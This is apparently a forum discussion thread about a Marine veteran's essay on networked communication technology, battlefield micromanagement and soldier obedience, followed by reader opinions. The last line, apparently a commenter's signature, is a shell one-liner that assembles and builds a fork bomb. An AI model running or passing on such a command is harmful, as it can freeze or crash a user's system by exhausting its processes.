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A Marine's-Eye View of the Networked Battlefield
Ian Lamont writes "Tyler Boudreau, a Marine veteran of the war in Iraq and a blogger, has written an interesting analysis of the impact of email, IM, and other digital devices upon 'ground-pounders' and their commanders in the field. These innovations were introduced in hopes of increasing situational awareness, rapidly gathering data, analyzing it, organizing it, and then pushing it back out to operators as actionable intelligence. They also provide commanders with the freshest possible information and aid them in their moment-to-moment decision-making. However, Boudreau found that the technologies can lead to micromanagement and deep frustration, trends that he illustrates by describing a shooting incident in al Anbar and its aftermath. He also warns that soldiers can become too dependent upon headquarters for critical decisions, which can lead to dangerous situations when communications get cut off."
I've always been a little wary of this whole "networked future force warrior" thing. I think it smacks more of hollywood sci-fi than real warfare, sometimes. I can definitely see the advantages of getting more information to your troops, but turning them into walking blackberries may not be the best way to do it in combat. There are some parts of soldiering that just aren't going to change no matter how much technology you throw at it, and the need for your troops on the ground to make quick, independent decisions is a good example. You don't want them constantly emailing/texting/radioing back and forth during a firefight for instructions. That's what unit leadership is for. Too much of this stuff is more bad cyberpunk novel than George Patton.
Life is hard, and the world is cruel
On a ship at sea, the captain was God for two reasons. First and foremost, the ship is beyond all the normal structures and civilization. If a majority of the crew decided to ignore the captain, mutiny would be uncontainable. Punishments were so harsh that individual crewmen would be in terror of bringing it upon their heads and the thought of getting enough together that punishment could be defied, victory attained, would seem impossible. And captains absolutely required such authority to be supported once they returned to civilization so the Boards of Admiralty of the various navies would seldom ever overrule or censure them.
What's also fascinating is that the captains also had great latitude in exercising their orders generally. The last history I read was specifically concerning the British military and the American Revolution. There was a common sentiment of not wanting to second-guess the man in the field thousands of miles away. Now either this is true wisdom or looking for a scapegoat, I'm not entirely sure of which and possibly they weren't either. In hindsight, there's also a bit of making a virtue out of necessity because the tools for micro-management from such a distance had not yet been invented and twats like MacNamara had not yet been born.
There's a maxim that goes along the lines of "If a person is granted responsibility of accomplishing a great task, by extension he is granted the authority required to make that task happen." When a leader finds himself in such a situation of responsibility with no authority, he should tell his superiors to kindly go fuck themselves and continue to do so until they've worked their heads out of their own asses.
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne
Wrong - Soldiers are trained to execute orders obediently and immediately, even if the results are unpleasant. Yes, you have to train out a number of humanist instincts and reactions, but a non-thinking soldier might as well be a robotic drone.
More now than ever your average grunt HAS to think - as in the article - rules of engagement, higher tech weapons, very tense and vague situations involving civilians and higher political repercussions. If you don't have a thinking soldier you are likely going to end up with a disaster on your hands.
The idea of the robotic-kill-on-command soldier is a bygone era and mostly the stuff of anti-war diatribes.
You haven't RTFA'd, then; it explicitly discusses how the armed forces are in increasing need of men who think and take initiative on their own, and has adjusted its training towards that end.
This claim that people need to "turn off their critical thinking skills" to be willing to risk their lives for a cause they genuinely believe in makes a mockery of genuine heroes and martyrs everywhere, military or otherwise. You should be ashamed.
Seriously, with all the recent articles regarding the detrimental effects multitasking has on a person, this sounds like it could do more harm than good. Imagine being in a fire fight and an IM window pops up on your HUD. That would really anger me.
Situational awareness is certainly a good thing, but there have to be limits, otherwise one's overall awareness will decrease due to input overload. A good example is using Google maps on one's N95 or iPhone while driving. Sure, it increases situational awareness vis-a-vis one's current location, but at the cost of smashing into the car ahead or running over a pedestrian because you didn't notice that the light had turned red.
Wrong. I've been to Basic Combat Training, spend 4 years as enlisted man in combat units and then 12 years as an officer including being a training officer and temporary commander of a Basic Training unit. We don't weed out critical thinking. We harden people up, teach them to follow orders, and to fill in the gaps and get over the caveats.
What we teach them about following orders is, there are times for questions and there are times when you have to just do it; be intelligent about figuring out which one is which.
/LabMonkey09
Not thinking "for themselves" and not "thinking" are two entirely different concepts and don't necessarily correlate to each other.
A soldier or marine be able to comprehend and think about the objective in ways far more detailed then we as average citizens would normally do. I would say that even the cops have to think less more often then the military does. It's become the norm here that when someone has a gun a cop can shoot them. This isn't the case in the military and you have to discern threat as well as control the situation.
When an order is passed down, it doesn't get scripted from the higher ups. If someone makes a call to take that hill or whatever, there are a number of possible scenarios on how to do that which each have to be selected and modified pretty much on the fly by the soldier in the field. The old days of lining both sides up and squaring off like a perverted game of chess are long gone. Now the emphasis is on keeping your side alive while defeating the other side. This means that soldiers are limited in their response because failure or not hitting their objectives could be devastating to others depending on it for their objectives. A high degree of quick and accurate thinking is essential to this end.
Last time I checked these "Soldiers" or better Marines / Army / Navy / Air force. Signed up on the dotted line to protect the country. I greatly appreciate them and all they do. While signing on the line they knew or should have known it was not just a free ride to college or a job to just hang out with. If the country goes to war even if they don't agree with the war it IS there job to go fight it.
Not complain about it and refuse to be involved because they never thought they would have too shoot / kill someone.
Its called protecting the country and that is the job they agreed to.
I may not agree with some of the choices that upper management decides but I do not have the choice to decide to stay employed but choose not to do my job.
love the taste, hate the texture
Plato or Aristotle, I forget which, described the paradox of the perfect soldier. An ideal soldier obeys his orders instantly and without question, but at the same time needs the ability to make good decisions in the absence of orders. How can a man be a mindless robot and at the same time think independently.
None of them can see the clouds; The polished wings don't care.
Except that its not the individual soldiers role to question that objective. The question of invading Iraq is a political question that needs to be handled by our civilian politicians. And, while you may think its a shame that the military didn't object more strongly, I personally think its a good thing. I'd much rather live in a state where the civilians control the military, rather than vice versa.
We all know what to do, but we don't know how to get re-elected once we have done it
If a soldier believes their orders to be illegal, then they should not obey them. Far more suffering in this world has been caused by soldiers obeying orders than by disobeying ones they felt were wrong or illegal.
The Nuremberg trials stated that a war of aggression is the supreme international crime, which differs from other war crimes in that it encompasses all the evil that follows. In the case of Iraq, what that means is that although the US and allies did not directly kill over a million Iraqis (Lancet and ORB surveys), the mere act of waging the war encompasses all the chaos and carnage that follows.
A future adminstration has to decide whether to keep the soldiers there or not, not the soldiers.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;